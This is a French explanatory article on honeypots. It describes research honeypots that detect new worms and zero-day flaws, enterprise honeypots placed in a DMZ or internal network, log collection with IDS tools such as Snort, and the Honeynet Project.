Les honeypots de recherche « reniflant » le Net pour détecter les nouveaux vers, virus, etc…

A l’heure actuelle les menaces pesant sur les utilisateurs d’Internet sont par exemple le phising, les vers, les virus, l’enrôlement dans des réseaux zombies, les rootkits, etc... Afin de contrer ces attaques il a fallut trouver des parades. Les honeypots vont avoir, par exemple, pour but de « renifler » l’Internet et les dangers l’entourant afin de mieux s’en protéger.

Un honeypot reniflant le Net aura pour objectif d’être attaqué. Généralement il sera attaqué par un vers qui utilisera une faille de type 0-day. Les honeypots pourront aussi être attaqués directement par un pirate. Le honeypot servira à détecter les nouveaux vers circulant sur l’Internet, et quels sont les failles qu’ils vont exploités. Suite à la détection viendra l’analyse et la mise en place de contre mesures, qui pourront passées par des mises à jour anti virus, des correctifs de sécurité, … Le rôle des honeypots dans le cas des vers est très importants car ils permettront de les détecter et d’agir le plus rapidement possible, réduisant ainsi au maximum le temps de statu 0-day de certaines failles.

Les ordinateurs infectés deviendrons très souvent des zombies servant pour des attaques de type DOS, ou pour des campagnes de spam, ou encore pour du phishing. Les réseaux de zombies peuvent devenir très importants et atteindre plusieurs dizaines de milliers de machines zombies.

Ces honeypots seront généralement des honeypot à forte interaction car ils vont servir à découvrir de nouvelles failles, de nouveaux exploits, et dans ce cas là les honeypots à faible interaction sont moins utilisés.

Les honeypots d’entreprise, serviront à renforcer la sécurité du réseau d’une entreprise, en prévenant par exemple des attaques en interne.

Les honeypots d’entreprise ne sont pas les premières mesures de sécurité qu’une entreprise mettra en place, ce qui attestera qu’une entreprise comprenant un honeynet à déjà un bon niveau de sécurité. Les honeypots d’entreprise pourront être mis dans une DMZ dédiée dans ce cas là on cherchera plutôt à se prémunir contre les attaques externe, ou alors dans le réseau local de l’entreprise, on cherchera alors à se protéger des attaques en interne.

Dans les deux cas (interne ou externe) il faudra être très vigilant et avoir mis en place une politique de sécurité plus élevée, en effet il faudra faire attention à ce que le honeypot corrompu ne puisse pas servir de relai pour attaquer d’autres machines non-honeypot. Il faudra en conséquence sécuriser au maximum le réseau accueillant le honeypot ou honeynet. La sécurisation passera par des équipements tels que des firewalls, des IDS (système de détection d’intrusion) tel que Snort.

Ces honeypot seront généralement des honeypot à faible interaction car ils ne serviront pas à détecter de nouvelles failles mais à se prémunir contre des attaques. En effet si un pirate vient par exemple à scanner en interne le réseau d’une entreprise, et détecte des machines pouvant être des clients ou serveurs web, mail … s’il essaye de corrompre une de ces machines et qu’il s’avère que c’est un honeypot alors il sera automatiquement détecté et loggué car tout trafic circulant sur un honeypot est considéré comme suspect.


Analyse et gestion du honeypot

La sécurité se décompose en trois étapes distinctes: la prévention, la détection, et la réaction. Les honeypot agiront surtout au niveau de la détection.

On peut facilement détecter une présence suspecte sur un honeypot car tout trafic passant sur un honeypot est considéré comme suspect, en effet un honeypot n’étant qu’une copie (réelle ou non) d’une machine de production il n’est pas censé recevoir de trafic.

Différentes informations pourront être collectées tel que l’activité réseau, l’activité logicielle, l’activité système. Il faudra surtout penser à centraliser les logs et capture sur une autre machine protégée de toute attaque.

Différentes manières seront possibles pour la collecte d’informations. On pourra collecter les informations transitant sur le réseau à l’aide d’un IDS tel que Snort. La capture d’information pourra se faire au niveau du firewall, ou du Switch sur lequel est connecté le honeypot.

Si le honeypot est un honeypot à faible interaction alors il intégrera généralement une solution de capture des informations. Par exemple un honeypot émulant un service tel que SSH aura généralement un « keylogger » inclus journalisant toutes les actions effectuées dans un fichier.

En cas de danger il sera toujours possible de déconnecter physiquement du réseau le honeypot.


Les projets autour des honeypots

Différents projets existent ayant pour thème la mise en place le développement de honeypots. Beaucoup de honeypots à faible interaction ont été développés par différentes personnes tous plus ou moins élaborés, plus ou moins perfectionnés.

L'un des projets les plus connu, important et ouvert dans le domaine des honeypots est le « Honeynet Project », qui fut crée à la base par Lance Spitzner. Il a pour objectif le principe « know your enemy », qui comme la traduction l'indique à pour objectif de mieux connaître les différentes méthodes d'attaques des pirates, de mieux cerné leurs objectifs et par la suite de pouvoir mieux contrer les futures attaques.